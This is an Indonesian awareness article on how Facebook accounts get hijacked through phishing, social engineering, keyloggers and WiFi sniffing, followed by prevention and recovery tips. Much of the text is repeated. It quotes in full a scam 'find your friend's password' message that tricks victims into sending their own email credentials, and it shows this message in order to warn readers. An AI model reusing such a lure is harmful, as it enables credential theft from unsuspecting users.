Ada sesuatu yang janggal, Anda sudah log in sebelumnya dan ketika Anda mengakses link di atas Anda disuruh log in kedua kalinya. Jelas ini adalah bentuk phishing di mana sang pencuri password menipu Anda dengan mendesain halaman “orisinil” dari facebook. Perhatikan dengan baik-baik url pada kolom tempat Anda memasukan url, agar tidak menjadi korban. Dan perhatikan apabila Anda mendapatkan peringatan dari facebook semacam ini:
<http://www.facebook.com/photo.php?pid=30756389&op=1&view=all&subj=38658593 2410&aid=-1&auser=0&oid=386585932410&id=1064919678>
Munculnya halaman peringatan facebook ini menandakan bahwa Anda sebenarnya sedang mengakses situs (url) lain di luar web site resmi facebook, sehingga Anda perlu berhati-hati dan jangan pernah memberikan apabila diminta memasukkan ulang username dan password atau jangan pernah melakukan bila diminta mendownload suatu software, program, aplikasi atau dokumen tertentu yang sekilas nampaknya berguna atau menarik (misalnya games, tools dlsb.) karena bisa jadi itu sebenarnya adalah malware.
Masalahnya adalah, kebanyakan pengguna facebook kurang memperhatikan pesan peringatan seperti ini, tidak membaca isinya atau karena kurang memahami maksudnya dan kendala bahasa dan mengabaikannya. Perlu dibiasakan, apabila menjumpai hal yang tidak biasa atau meragukan bahkan Anda tidak mengerti apa maksudnya, maka tindakan paling aman adalah selalu menolak dan memilih klik tombol “cancel”. Atau langsung tutup halaman tersebut, sampai Anda mendapatkan keterangan yang terpercaya.
Contoh 2:
Dahulu ada sebuah group di dalam facebook yang memberikan teknik untuk mengambil password akun orang lain dengan alamat tersebut:
http://www.facebook.com/group.php?gid=202000763768
Kemudian kita lihat apa yang tertera pada halaman group “Cara Mengetahui Password Teman Anda” tersebut:
*1. KLIK "Join this Group" ATAU "Gabung ke Grup Ini" (hanya Anda yang telah bergabung yang bisa menggunakan fasilitas ini!)
2. KLIK "Invite People to Join" ATAU "Undang Orang untuk Bergabung"
3. CENTANG Semua teman Anda, minimal 100 orang agar bisa berjalan! (hanya teman Anda yang telah di undang yang bisa Anda lihat segala
aktivitasnya di facebook Anda!)
4. KLIK Tombol "Send Invitations" ATAU "Kirim Undangan"
kirim pesan ke admin facebook dengan mengcopy link :
http://www.facebook.com/home.php?#/i....3256059163..1
KEMUDIAN kirim pesan dengan petunjuk berikut:
.gx=0&.tm=1259467892&.rand=fnvrjkff2bk4e|(ALAMAT EMAIL Anda)/config/login?.src=fpctx&.intl=us&.done=http%3A%2F%2Fm(PAS SWORD EMAIL Anda)||202000763768&ref=nf##hl=id&source=hp&q=/7601524/id/f#id(ALAMAT EMAIL YANG AKAN Anda KETAHUI PASSWORDNYA)
klik send email
kemudian dengan menunggu konfirmasi balasan dari facebook admin dalam waktu 24jam, Anda akan mendapat email balasan dan mengetahui password facebook teman Anda.*
Perhatikan kalimat yang cetak tebal tersebut, ada sesuatu yang ganjil bukan? Anda ingin mengetahui password orang lain tetapi Anda sebelumnya disuruh memasukan password dan username Anda terlebih dahulu. Jelas ini merupakan upaya jebakan terhadap akun Anda.
Harus selalu diingat bahwa username dan password adalah sesuatu yang vital, sama seperti PIN ATM biarlah Anda, pihak bank dan Tuhan saja yang mengetahuinya. Jangan pernah berikan kepada pihak lain, apapun alasannya termasuk permintaan dari seseorang yang mengaku sebagai admin. Sebab kalau benar dia adalah admin, tentu tidak memerlukan username serta password Anda untuk melakukan maintenance atau tindakan apapun.
Terakhir, selalu ketikkan langsung alamat url situs pada jendela browser Anda. Sebab ada juga malware yang menambahkan link bookmark sehingga Anda mengira bahwa itu resmi padahal adalah penyesatan (phising).
Malware yang lebih canggih bahkan bisa merubah informasi di etc/host yang memetakan alamat url secara statik pada komputer Anda tanpa menggunakan mesin DNS. Sehingga ketika Anda mengetikkan alamat jejaring sosial ternyata diarahkan ke phising site. Karena itu sangat penting untuk selalu waspada dan memeriksa keabsahan suatu url dan mengetahui adanya ketidakwajaran walaupun agak sulit.
*Social Engineering*
Sekarang ini mulai banyak korban berjatuhan akibat upaya pembajakan akun facebook yang menggunakan teknik social engineering. Terutama memanfaatkan kelemahan prosedur akun email gratisan seperti Yahoo! Mail.
Seseorang atau cracker bisa berpura-pura menjadi Anda dan mencoba mendapatkan akses tidak sah dan membajak akun email Anda. Caranya dengan mengikuti prosedur kehilangan password.
Biasanya layanan email gratisan akan menanyakan beberapa kata kunci untuk konfirmasi seperti kombinasi “di mana tempat bulan madu Anda?” atau “siapa nama hewan peliharaan Anda yang pertama” atau “siapa nama paman atau tante yang jadi favorit Anda?”. Jawaban atau kata kunci dari pertanyaan konfirmasi seperti ini dulu pernah Anda isikan ketika pertama kali mendaftarkan akun email tersebut.
Sekarang melalui facebook, seseorang atau cracker bisa dengan mudah mengelabui Anda. Dia akan berpura-pura melamar sebagai teman Anda. Kemudian mencari tahu alamat email Anda.
Ketika dia mengetahui bahwa Anda menggunakan alamat email gratisan, maka mulailah dia mengajak Anda berkomunikasi. Dengan cara tertentu dia akan mengkorek sejumlah informasi yang seharusnya Anda rahasiakan.
Begitu Anda memberikan informasi yang diperlukan untuk mengakses prosedur kehilangan password di layanan akun email gratisan, maka si cracker akan menguasai akun email Anda. Selanjutnya dia akan melakukan prosedur yang sama kepada akun facebook Anda, yaitu pura-pura lupa password dan mencoba membajaknya.
Facebook biasanya akan mengirimkan email “password sementara” ke alamat email utama Anda yang sialnya sudah dikuasai oleh si cracker. Sehingga dengan mudah dia menguasai akun facebook Anda juga. Begitu dia mengganti password akun facebook Anda, maka selanjutnya Anda akan ditolak untuk mengakses aku facebook Anda sendiri.
Seorang cracker yang membajak akun facebook Anda biasanya akan memanfaatkannya untuk beberapa tujuan jahat. Yang pertama adalah untuk melakukan impersonating atau pemalsuan identitas dengan maksud untuk memfitnah, menjelek-jelekkan dan menjatuhkan martabat Anda sebagai pemilik akun yang sesungguhnya. Misalnya dia menyerang dan melakukan suatu tindakan yang tidak disukai teman-teman Anda sehingga di dunia nyata, semua orang menjadi memusuhi Anda tanpa Anda sadari.
Yang kedua adalah untuk menipu teman-teman Anda. Telah banyak laporan di luar negeri maupun juga di Indonesia, bahwa sejumlah orang dimintai tolong oleh teman lamanya di facebook untuk mengirimkan sejumlah uang karena beberapa alasan, yang klasik adalah mengaku kecopetan atau kerampokan atau di akhir pekan tidak bisa mengambil uang untuk pengobatan dsb. Atau mengajak bertransaksi sesuatu tapi sebenarnya akun facebook itu telah dibajak oleh
orang lain.
*Tips Pencegahan*
1. Jangan mudah menerima permintaan pertemanan dari orang yang sama sekali belum Anda kenal, terutama yang tidak memiliki mutual friend.
2. Anda selalu memiliki kesempatan untuk melakukan konfirmasi kepada teman yang ada di dalam mutual friend seseorang yang mencoba meminta
pertemanan pada Anda. Sebab memang itulah salah satu gunanya facebook menampilkan informasi mutual friend yaitu agar Anda bisa melakukan
verifikasi terlebih dahulu. Apabila teman Anda mereferensikan dan mengkonfirmasi keabsahan calon teman tersebut baru “lamaran” tersebut bisa
dipertimbangkan untuk diterima.
3. Cara lain untuk mengkonfirmasi suatu permintaan pertemanan adalah mengirimkan message kepada yang bersangkutan. Dengan komunikasi ini Anda
dapat menanyakan siapakah dia sebenarnya (seringkali nama akun yang ditampilkan adalah julukan atau nama alias yang tidak membantu Anda untuk
mengingat siapakah calon teman itu) dan melakukan konfirmasi lainnya yang diperlukan. Misalnya, melakukan komunikasi off line (telepon) atau pertemuan
on line web cam atau bahkan off line adalah cara lain untuk melakukan konfirmasi keabsahan calon teman.
4. Jangan terburu-buru dan berhati-hati dalam menyampaikan sejumlah informasi pribadi yang sekilas nampaknya tidak penting tetapi ternyata
merupakan kunci untuk membobol akun email Anda. Pertanyaan yang sepertinya menunjukkan antusiasme pada satu hal yang sama (binatang kesayangan, tempat wisata favorite, cerita tentang keluarga, memasang album foto event tertentu dlsb.) tanpa sengaja bisa memaparkan informasi pribadi yang seharusnya Anda rahasiakan.
5. Anda mungkin tanpa sadar telah memaparkan informasi yang seharusnya rahasia itu dalam profile Anda. Atau dalam words caption di album foto Anda.
Misalnya menulis nama binatang kesayangan Anda persis di bawah fotonya bahkan ada orang yang secara khusus membuatkan akun facebook untuk binatang kesayangannya lengkap dengan semua profilenya. Atau memasang foto dan menyebut lokasi bulan madu dan atau memberikan tagging pada foto keluarga (termasuk paman yang menjadi favorite Anda) dlsb. Beragam ketidaksengajaan semacam itu.
6. Berhati-hati dan pikirkanlah berkali-kali kemungkinan manfaat dan kerugiannya bila Anda harus menampilkan informasi pribadi di halaman info
akun facebook Anda. Anda punya pilihan untuk tidak menuliskan informasi itu, misalnya binatang kesayangan, toh sebenarnya apabila ada yang ingin tahu,
bisa menanyakannya secara pribadi melalui fasilitas message langsung kepada Anda. Anda juga bisa memilih setting untuk membatasi akses orang lain ke
informasi tertentu di akun facebook Anda. Misalnya Anda bisa menyembunyikan alamat email. Manfaatkan fitur setting pengamanan akun facebook ini
semaksimal mungkin dan pikirkanlah.
7. Sebisa mungkin dan jikalau memungkinkan hindari menggunakan layanan email tak berbayar untuk akun facebook Anda. Gunakanlah akun email lokal
misalnya yang diberikan oleh kantor Anda (kalau diijinkan untuk pribadi), menyewa akun email ke ISP (sebenarnya harganya murah atau bahkan gratis
apabila Anda menjadi pelanggan ISP tersebut) atau Anda membuat domain pribadi sendiri dan meminta tolong layanan jasa hosting untuk membuatkan,
apabila Anda tidak memiliki keterampilan teknis sendiri. Intinya, akun email lokal atau milik sendiri lebih aman dari teknik serangan social engineering
ini terutama karena prosedur untuk konfirmasi kehilangan password atau bila terjadi compromise biasanya dilakukan secara manual dengan teknik
identifikasi off line bukan by system yang otomatis tapi menggunakan algoritma pengamanan yang terlalu sederhana seperti layanan email gratisan.
8. Selalu tambahkan alamat email sekunder pada akun facebook Anda dan juga pada akun email gratisan yang Anda gunakan apabila memang terpaksa tidak ada pilihan selain harus menggunakan layanan tersebut. Sembunyikan atau jangan pernah Anda tunjukkan kepada siapapun dengan alasan apapun alamat email sekunder Anda itu. Dan secara periodik ubahlah semua password Anda sesuai anjuran pengamanan seperti menggunakan kombinasi huruf, angka dan karakter khusus serta panjang password minimal 6 atau 8 karakter yang sulit ditebak orang lain dan bila sulit menghapalnya jangan simpan catatannya di tempat yang mudah diketahui. Atau gunakan fasilitas aplikasi password management untuk membantu Anda. Ada banyak yang gratis.
9. Meskipun tidak lazim, namun demi untuk keamanan, backuplah data friend list Anda. Informasi penting seperti nama profile accountnya, url halaman facebooknya, alamat email dan juga telepon (kalau ada). Sehingga apabila terjadi sesuatu Anda bisa segera memberikan peringatan, misalnya melalui email dan akan berguna apabila kelak Anda membuka akun facebook yang baru dan terpaksa harus memasukkan satu per satu lagi friend list Anda tersebut. Backup memang sedikit merepotkan namun penting.
10. Apabila Anda terlanjur menjadi korban pembajakan akun facebook maka Anda dapat melakukan 4 hal.
1. Pertama, peringatkan semua orang bahwa akun Anda telah dibajak. Upaya ini bisa Anda lakukan lewat berbagai saluran seperti email, telepon, milis, chat, blog dlsb. Demi untuk mencegah orang lain, teman, famili Anda yang ada di friend list menjadi korban misalnya penipuan.
2. Kedua, patut secepatnya (Anda berlomba dengan si pembajak sebelum dia mengganti alamat email utama dan sekunder Anda) mencoba untuk mendapatkan kembali akun Anda melalui prosedur lupa atau kehilangan password. Apabila berhasil, segera ganti alamat email Anda dan passwordnya dan sembunyikan jangan ditampilkan dengan mengubah setting keamanan akun Anda. Jangan buru-buru log out untuk mencegah si pembajak mencoba mengambil alih juga. Dan jangan log out sampai Anda berhasil mengganti alamat email utama dan sekunder Anda serta mengisi password yang baru sekaligus menerapkan setting pengamanan yang lebih tertutup (melindungi/menyembunyikan alamat email Anda).
3. Ketiga, melaporkan kepada tim keamanan facebook bahwa akun Anda telah dibajak, alamatnya adalah:
http://www.facebook.com/help/?page=1023 atau apabila link tersebut telah berubah Anda dapat mencarinya di halaman HELP. Anda akan diminta mengisi form dan selanjutnya akan ada korespondensi dengan tim keamanan facebook yang akan berusaha mengkonfirasi kebenaran laporan Anda dan apabila semua berjalan dengan baik, mungkin akun Anda dapat dikembalikan. Namun pastikan bahwa sebelum melaporkan, Anda sudah memiliki alamat email yang baru dan aman.
4. Yang keempat, apabila semua upaya mengembalikan akun Anda gagal, maka segeralah membuka akun facebook baru, amankan informasinya agar tidak dibajak orang lagi dan add semua teman Anda (semoga Anda melakukan back up). Kemudian bersama-sama ajaklah mereka semuanya untuk melaporkan akun lama Anda yang dibajak tsb. Sebagai akun yang melakukan abuse, fraud, compromise dan impersonating sehingga nanti akan ditutup atau diblokir oleh facebook.
11. Yang terakhir jangan gunakan alamat email, username dan password yang sama untuk semua layanan online yang Anda ikuti. Selalu update pengetahuan Anda mengenai isu keamanan layanan jejaring sosial dan senantiasa waspada ketika aktif di dunia maya.
Di beberapa social networking lainnya, seperti twitter dan plurk sempat dilaporkan kejadian yang sama pernah terjadi. Username dan password tiba-tiba tidak cocok dikarenakan sesuatu hal, atau dapat kita ambil benang merah, password mereka ada yang mengganti.
Apakah ada suatu teknik cracking untuk membobol akun facebook antar individu? Jawabannya ada beberapa. Lalu pertanyaan selanjutnya adalah, apakah ada teknik untuk melumpuhkan akun facebook atau social networking lainnya?
Teknik yang terungkap untuk menyerang akun facebook beberapa waktu lalu adalah dengan membanjiri data pada server facebook dengan teknik DDOS atau biasa dikenal dengan Distributed Denial of Service sehingga server lumpuh selama beberapa jam seperti yang terjadi pada facebook dan twitter tahun 2009 oleh cracker dari Rusia. Kemungkinan seperti ini perlu kita waspadai.
*Keylogger*
Cara pertama menggunakan keylogger adalah cara yang sangat efektif bagi para cracker untuk mencuri password dari akun facebook anda. Dengan menginstall software dan atau hardware keylogger pada notebook maupun PC sasaran, maka otomatis segala bentuk ketukan pada keyboard maupun aktivitas browsing anda akan terekam dengan detail dan sistematis.
Sehingga jika anda mengetikan password dan username pada notebook atau PC yang telah dipasangi keylogger, anda dengan penuh kerelaan hati telah menyerahkan data pribadi sensitif tersebut pada orang yang memasangnya, karena keylogger ibarat kertas karbon yang akan membuat salinan tentang sesuatu yang ditulis diatasnya.
Keylogger biasanya dipasang oleh cracker pada terminal akses internet publik yang berbagi pakai seperti di warnet dan kampus. Maka berhati-hatilah ketika menggunakan akses seperti ini.
- Pertama, jangan langsung menggunakan terminal melainkan lakukan restart.
- Kedua, coba cek apakah ada aplikasi tersembunyi yang berjalan di memori background, anda bisa gunakan tools event task manager (tekan tombol ctrl + alt + del pada desktop windows anda) dan perhatikan apakah ada aplikasi atau proses yang tidak biasa? Memang anda perlu sedikit belajar dan membiasakan hal ini demi keamanan anda sendiri.
- Ketiga, cek setting keamanan pada browser yang anda gunakan apakah secara otomatis merekam username dan password? Sebaiknya matikan fitur ini dan apabila ada fitur anti phising site bisa diaktifkan.
- Keempat, bersihkan/hapus cache dan history secara otomatis setiap kali menutup browser. Ini bisa anda lakukan pada setting browser.
- Kelima, pastikan bahwa setiap selesai melakukan kegiatan anda selalu log out dengan sempurna.
*Sniffing*
Teknik kedua adalah dengan menggunakan tools yang biasa digunakan sniffing seperti Cain and Abel pada area yang terkoneksi WiFi jadi tools tersebut memang “mencari aktifitas” pada laptop-laptop yang terkoneksi. Maka anda harus berhati-hati juga apabila sedang mobile dan mengakses HotSpot.
Pada prinsipnya akses wireless sangat mudah untuk diintip. Jangan begitu saja mempercayai SSID “Free WiFi atau Free HotSpot” saat anda scanning wireless network. Yang paling aman adalah bertanya pada pengelola HotSpot area tersebut apa SSID yang resmi? Kemudian setting akses wireless pada
notebook anda untuk tidak “auto connect” melainkan harus manual agar anda bisa meneliti terlebih dahulu.
Ketika anda melakukan akses dari jaringan WiFi HotSpot sebaiknya hindarkan transaksi pada situs yang kritis seperti e-banking, akses email, akun jejaring sosial dlsb. Browsing hal yang umum saja kecuali anda yakin benar bahwa tidak ada yang berusaha mengintip aktivitas anda dan jaringan tersebut bisa dipercaya.
Meskipun demikian, pastikan bahwa anda selalu akses dengan memilih mode secure connection yaitu menggunakan HTTPS yang biasanya ditandai dengan munculnya icon gembok terkunci pada browser anda. Dengan akses HTTPS ini maka antara anda dengan server layanan yang diakses telah dilindungi dengan enkripsi sehingga tidak mudah diintip oleh orang yang tidak berhak. Pastikan anda sudah masuk ke mode secure sebelum memasukkan username dan password atau PIN.
*Phishing*
Cara ketiga adalah dengan mengklik url yang diberikan oleh aplikasi facebook maupun via email yang mengatasnamakan facebook. Atau menjebak Anda dengan tawaran aplikasi asing pada facebook merupakan aplikasi yang lepas dari maintenance facebook sendiri.
Aplikasi tersebut dapat dibuat oleh siapa saja dan kapan saja dan random sifatnya. Untuk mencuri username dan password tersebut, biasanya korban disuruh mengakses link tersebut dan diperintahkan memberikan password dan usernamenya. Perhatikan contoh berikut:
Contoh 1:
Anda diminta untuk mengakses link tertentu:
http://www.facebook.com/l.php?u=http...f440ac31753781
Namun ketika Anda mengkliknya Anda harus log in dahulu di halaman tersebut, padahal Anda sebelumnya sudah log ini terlebih dahulu. Jangan pernah Anda masukan username ataupun password jika Anda menemui hal janggal seperti ini, karena dapat diindikasikan hal tersebut adalah phising dengan menggunakan fake log in facebook, perhatikan screenshoot di bawah:
<http://www.facebook.com/photo.php?pid=30756388&op=1&view=all&subj=38658593 2410&aid=-1&auser=0&oid=386585932410&id=1064919678>
Ada sesuatu yang janggal, Anda sudah log in sebelumnya dan ketika Anda mengakses link di atas Anda disuruh log in kedua kalinya. Jelas ini adalah bentuk phishing di mana sang pencuri password menipu Anda dengan mendesain halaman “orisinil” dari facebook. Perhatikan dengan baik-baik url pada kolom tempat Anda memasukan url, agar tidak menjadi korban. Dan perhatikan apabila Anda mendapatkan peringatan dari facebook semacam ini:
<http://www.facebook.com/photo.php?pid=30756389&op=1&view=all&subj=38658593 2410&aid=-1&auser=0&oid=386585932410&id=1064919678>
Munculnya halaman peringatan facebook ini menandakan bahwa Anda sebenarnya sedang mengakses situs (url) lain di luar web site resmi facebook, sehingga Anda perlu berhati-hati dan jangan pernah memberikan apabila diminta memasukkan ulang username dan password atau jangan pernah melakukan bila diminta mendownload suatu software, program, aplikasi atau dokumen tertentu yang sekilas nampaknya berguna atau menarik (misalnya games, tools dlsb.) karena bisa jadi itu sebenarnya adalah malware.
Masalahnya adalah, kebanyakan pengguna facebook kurang memperhatikan pesan peringatan seperti ini, tidak membaca isinya atau karena kurang memahami maksudnya dan kendala bahasa dan mengabaikannya. Perlu dibiasakan, apabila menjumpai hal yang tidak biasa atau meragukan bahkan Anda tidak mengerti apa maksudnya, maka tindakan paling aman adalah selalu menolak dan memilih klik tombol “cancel”. Atau langsung tutup halaman tersebut, sampai Anda mendapatkan keterangan yang terpercaya.
Contoh 2:
Dahulu ada sebuah group di dalam facebook yang memberikan teknik untuk mengambil password akun orang lain dengan alamat tersebut:
http://www.facebook.com/group.php?gid=202000763768
Kemudian kita lihat apa yang tertera pada halaman group “Cara Mengetahui Password Teman Anda” tersebut:
*1. KLIK "Join this Group" ATAU "Gabung ke Grup Ini" (hanya Anda yang telah bergabung yang bisa menggunakan fasilitas ini!)
2. KLIK "Invite People to Join" ATAU "Undang Orang untuk Bergabung"
3. CENTANG Semua teman Anda, minimal 100 orang agar bisa berjalan! (hanya teman Anda yang telah di undang yang bisa Anda lihat segala
aktivitasnya di facebook Anda!)
4. KLIK Tombol "Send Invitations" ATAU "Kirim Undangan"
kirim pesan ke admin facebook dengan mengcopy link :
http://www.facebook.com/home.php?#/i....3256059163..1
KEMUDIAN kirim pesan dengan petunjuk berikut:
.gx=0&.tm=1259467892&.rand=fnvrjkff2bk4e|(ALAMAT EMAIL Anda)/config/login?.src=fpctx&.intl=us&.done=http%3A%2F%2Fm(PAS SWORD EMAIL Anda)||202000763768&ref=nf##hl=id&source=hp&q=/7601524/id/f#id(ALAMAT EMAIL YANG AKAN Anda KETAHUI PASSWORDNYA)
klik send email
kemudian dengan menunggu konfirmasi balasan dari facebook admin dalam waktu 24jam, Anda akan mendapat email balasan dan mengetahui password facebook teman Anda.*
Perhatikan kalimat yang cetak tebal tersebut, ada sesuatu yang ganjil bukan? Anda ingin mengetahui password orang lain tetapi Anda sebelumnya disuruh memasukan password dan username Anda terlebih dahulu. Jelas ini merupakan upaya jebakan terhadap akun Anda.
Harus selalu diingat bahwa username dan password adalah sesuatu yang vital, sama seperti PIN ATM biarlah Anda, pihak bank dan Tuhan saja yang mengetahuinya. Jangan pernah berikan kepada pihak lain, apapun alasannya termasuk permintaan dari seseorang yang mengaku sebagai admin. Sebab kalau benar dia adalah admin, tentu tidak memerlukan username serta password Anda untuk melakukan maintenance atau tindakan apapun.
Terakhir, selalu ketikkan langsung alamat url situs pada jendela browser Anda. Sebab ada juga malware yang menambahkan link bookmark sehingga Anda mengira bahwa itu resmi padahal adalah penyesatan (phising).
Malware yang lebih canggih bahkan bisa merubah informasi di etc/host yang memetakan alamat url secara statik pada komputer Anda tanpa menggunakan mesin DNS. Sehingga ketika Anda mengetikkan alamat jejaring sosial ternyata diarahkan ke phising site. Karena itu sangat penting untuk selalu waspada dan memeriksa keabsahan suatu url dan mengetahui adanya ketidakwajaran walaupun agak sulit.
*Social Engineering*
Sekarang ini mulai banyak korban berjatuhan akibat upaya pembajakan akun facebook yang menggunakan teknik social engineering. Terutama memanfaatkan kelemahan prosedur akun email gratisan seperti Yahoo! Mail.
Seseorang atau cracker bisa berpura-pura menjadi Anda dan mencoba mendapatkan akses tidak sah dan membajak akun email Anda. Caranya dengan mengikuti prosedur kehilangan password.
Biasanya layanan email gratisan akan menanyakan beberapa kata kunci untuk konfirmasi seperti kombinasi “di mana tempat bulan madu Anda?” atau “siapa nama hewan peliharaan Anda yang pertama” atau “siapa nama paman atau tante yang jadi favorit Anda?”. Jawaban atau kata kunci dari pertanyaan konfirmasi seperti ini dulu pernah Anda isikan ketika pertama kali mendaftarkan akun email tersebut.
Sekarang melalui facebook, seseorang atau cracker bisa dengan mudah mengelabui Anda. Dia akan berpura-pura melamar sebagai teman Anda. Kemudian mencari tahu alamat email Anda.
Ketika dia mengetahui bahwa Anda menggunakan alamat email gratisan, maka mulailah dia mengajak Anda berkomunikasi. Dengan cara tertentu dia akan mengkorek sejumlah informasi yang seharusnya Anda rahasiakan.
Begitu Anda memberikan informasi yang diperlukan untuk mengakses prosedur kehilangan password di layanan akun email gratisan, maka si cracker akan menguasai akun email Anda. Selanjutnya dia akan melakukan prosedur yang sama kepada akun facebook Anda, yaitu pura-pura lupa password dan mencoba membajaknya.
Facebook biasanya akan mengirimkan email “password sementara” ke alamat email utama Anda yang sialnya sudah dikuasai oleh si cracker. Sehingga dengan mudah dia menguasai akun facebook Anda juga. Begitu dia mengganti password akun facebook Anda, maka selanjutnya Anda akan ditolak untuk mengakses aku facebook Anda sendiri.
Seorang cracker yang membajak akun facebook Anda biasanya akan memanfaatkannya untuk beberapa tujuan jahat. Yang pertama adalah untuk melakukan impersonating atau pemalsuan identitas dengan maksud untuk memfitnah, menjelek-jelekkan dan menjatuhkan martabat Anda sebagai pemilik akun yang sesungguhnya. Misalnya dia menyerang dan melakukan suatu tindakan yang tidak disukai teman-teman Anda sehingga di dunia nyata, semua orang menjadi memusuhi Anda tanpa Anda sadari.
Yang kedua adalah untuk menipu teman-teman Anda. Telah banyak laporan di luar negeri maupun juga di Indonesia, bahwa sejumlah orang dimintai tolong oleh teman lamanya di facebook untuk mengirimkan sejumlah uang karena beberapa alasan, yang klasik adalah mengaku kecopetan atau kerampokan atau di akhir pekan tidak bisa mengambil uang untuk pengobatan dsb. Atau mengajak bertransaksi sesuatu tapi sebenarnya akun facebook itu telah dibajak oleh
orang lain.
*Tips Pencegahan*
1. Jangan mudah menerima permintaan pertemanan dari orang yang sama sekali belum Anda kenal, terutama yang tidak memiliki mutual friend.
2. Anda selalu memiliki kesempatan untuk melakukan konfirmasi kepada teman yang ada di dalam mutual friend seseorang yang mencoba meminta
pertemanan pada Anda. Sebab memang itulah salah satu gunanya facebook menampilkan informasi mutual friend yaitu agar Anda bisa melakukan
verifikasi terlebih dahulu. Apabila teman Anda mereferensikan dan mengkonfirmasi keabsahan calon teman tersebut baru “lamaran” tersebut bisa
dipertimbangkan untuk diterima.
3. Cara lain untuk mengkonfirmasi suatu permintaan pertemanan adalah mengirimkan message kepada yang bersangkutan. Dengan komunikasi ini Anda
dapat menanyakan siapakah dia sebenarnya (seringkali nama akun yang ditampilkan adalah julukan atau nama alias yang tidak membantu Anda untuk
mengingat siapakah calon teman itu) dan melakukan konfirmasi lainnya yang diperlukan. Misalnya, melakukan komunikasi off line (telepon) atau pertemuan
on line web cam atau bahkan off line adalah cara lain untuk melakukan konfirmasi keabsahan calon teman.
4. Jangan terburu-buru dan berhati-hati dalam menyampaikan sejumlah informasi pribadi yang sekilas nampaknya tidak penting tetapi ternyata
merupakan kunci untuk membobol akun email Anda. Pertanyaan yang sepertinya menunjukkan antusiasme pada satu hal yang sama (binatang kesayangan, tempat wisata favorite, cerita tentang keluarga, memasang album foto event tertentu dlsb.) tanpa sengaja bisa memaparkan informasi pribadi yang seharusnya Anda rahasiakan.
5. Anda mungkin tanpa sadar telah memaparkan informasi yang seharusnya rahasia itu dalam profile Anda. Atau dalam words caption di album foto Anda.
Misalnya menulis nama binatang kesayangan Anda persis di bawah fotonya bahkan ada orang yang secara khusus membuatkan akun facebook untuk binatang kesayangannya lengkap dengan semua profilenya. Atau memasang foto dan menyebut lokasi bulan madu dan atau memberikan tagging pada foto keluarga (termasuk paman yang menjadi favorite Anda) dlsb. Beragam ketidaksengajaan semacam itu.
6. Berhati-hati dan pikirkanlah berkali-kali kemungkinan manfaat dan kerugiannya bila Anda harus menampilkan informasi pribadi di halaman info
akun facebook Anda. Anda punya pilihan untuk tidak menuliskan informasi itu, misalnya binatang kesayangan, toh sebenarnya apabila ada yang ingin tahu,
bisa menanyakannya secara pribadi melalui fasilitas message langsung kepada Anda. Anda juga bisa memilih setting untuk membatasi akses orang lain ke
informasi tertentu di akun facebook Anda. Misalnya Anda bisa menyembunyikan alamat email. Manfaatkan fitur setting pengamanan akun facebook ini
semaksimal mungkin dan pikirkanlah.
7. Sebisa mungkin dan jikalau memungkinkan hindari menggunakan layanan email tak berbayar untuk akun facebook Anda. Gunakanlah akun email lokal
misalnya yang diberikan oleh kantor Anda (kalau diijinkan untuk pribadi), menyewa akun email ke ISP (sebenarnya harganya murah atau bahkan gratis
apabila Anda menjadi pelanggan ISP tersebut) atau Anda membuat domain pribadi sendiri dan meminta tolong layanan jasa hosting untuk membuatkan,
apabila Anda tidak memiliki keterampilan teknis sendiri. Intinya, akun email lokal atau milik sendiri lebih aman dari teknik serangan social engineering
ini terutama karena prosedur untuk konfirmasi kehilangan password atau bila terjadi compromise biasanya dilakukan secara manual dengan teknik
identifikasi off line bukan by system yang otomatis tapi menggunakan algoritma pengamanan yang terlalu sederhana seperti layanan email gratisan.
8. Selalu tambahkan alamat email sekunder pada akun facebook Anda dan juga pada akun email gratisan yang Anda gunakan apabila memang terpaksa tidak ada pilihan selain harus menggunakan layanan tersebut. Sembunyikan atau jangan pernah Anda tunjukkan kepada siapapun dengan alasan apapun alamat email sekunder Anda itu. Dan secara periodik ubahlah semua password Anda sesuai anjuran pengamanan seperti menggunakan kombinasi huruf, angka dan karakter khusus serta panjang password minimal 6 atau 8 karakter yang sulit ditebak orang lain dan bila sulit menghapalnya jangan simpan catatannya di tempat yang mudah diketahui. Atau gunakan fasilitas aplikasi password management untuk membantu Anda. Ada banyak yang gratis.
9. Meskipun tidak lazim, namun demi untuk keamanan, backuplah data friend list Anda. Informasi penting seperti nama profile accountnya, url halaman facebooknya, alamat email dan juga telepon (kalau ada). Sehingga apabila terjadi sesuatu Anda bisa segera memberikan peringatan, misalnya melalui email dan akan berguna apabila kelak Anda membuka akun facebook yang baru dan terpaksa harus memasukkan satu per satu lagi friend list Anda tersebut. Backup memang sedikit merepotkan namun penting.
10. Apabila Anda terlanjur menjadi korban pembajakan akun facebook maka Anda dapat melakukan 4 hal.
1. Pertama, peringatkan semua orang bahwa akun Anda telah dibajak. Upaya ini bisa Anda lakukan lewat berbagai saluran seperti email, telepon, milis, chat, blog dlsb. Demi untuk mencegah orang lain, teman, famili Anda yang ada di friend list menjadi korban misalnya penipuan.
2. Kedua, patut secepatnya (Anda berlomba dengan si pembajak sebelum dia mengganti alamat email utama dan sekunder Anda) mencoba untuk mendapatkan kembali akun Anda melalui prosedur lupa atau kehilangan password. Apabila berhasil, segera ganti alamat email Anda dan passwordnya dan sembunyikan jangan ditampilkan dengan mengubah setting keamanan akun Anda. Jangan buru-buru log out untuk mencegah si pembajak mencoba mengambil alih juga. Dan jangan log out sampai Anda berhasil mengganti alamat email utama dan sekunder Anda serta mengisi password yang baru sekaligus menerapkan setting pengamanan yang lebih tertutup (melindungi/menyembunyikan alamat email Anda).
3. Ketiga, melaporkan kepada tim keamanan facebook bahwa akun Anda telah dibajak, alamatnya adalah:
http://www.facebook.com/help/?page=1023 atau apabila link tersebut telah berubah Anda dapat mencarinya di halaman HELP. Anda akan diminta mengisi form dan selanjutnya akan ada korespondensi dengan tim keamanan facebook yang akan berusaha mengkonfirasi kebenaran laporan Anda dan apabila semua berjalan dengan baik, mungkin akun Anda dapat dikembalikan. Namun pastikan bahwa sebelum melaporkan, Anda sudah memiliki alamat email yang baru dan aman.
4. Yang keempat, apabila semua upaya mengembalikan akun Anda gagal, maka segeralah membuka akun facebook baru, amankan informasinya agar tidak dibajak orang lagi dan add semua teman Anda (semoga Anda melakukan back up). Kemudian bersama-sama ajaklah mereka semuanya untuk melaporkan akun lama Anda yang dibajak tsb. Sebagai akun yang melakukan abuse, fraud, compromise dan impersonating sehingga nanti akan ditutup atau diblokir oleh facebook.
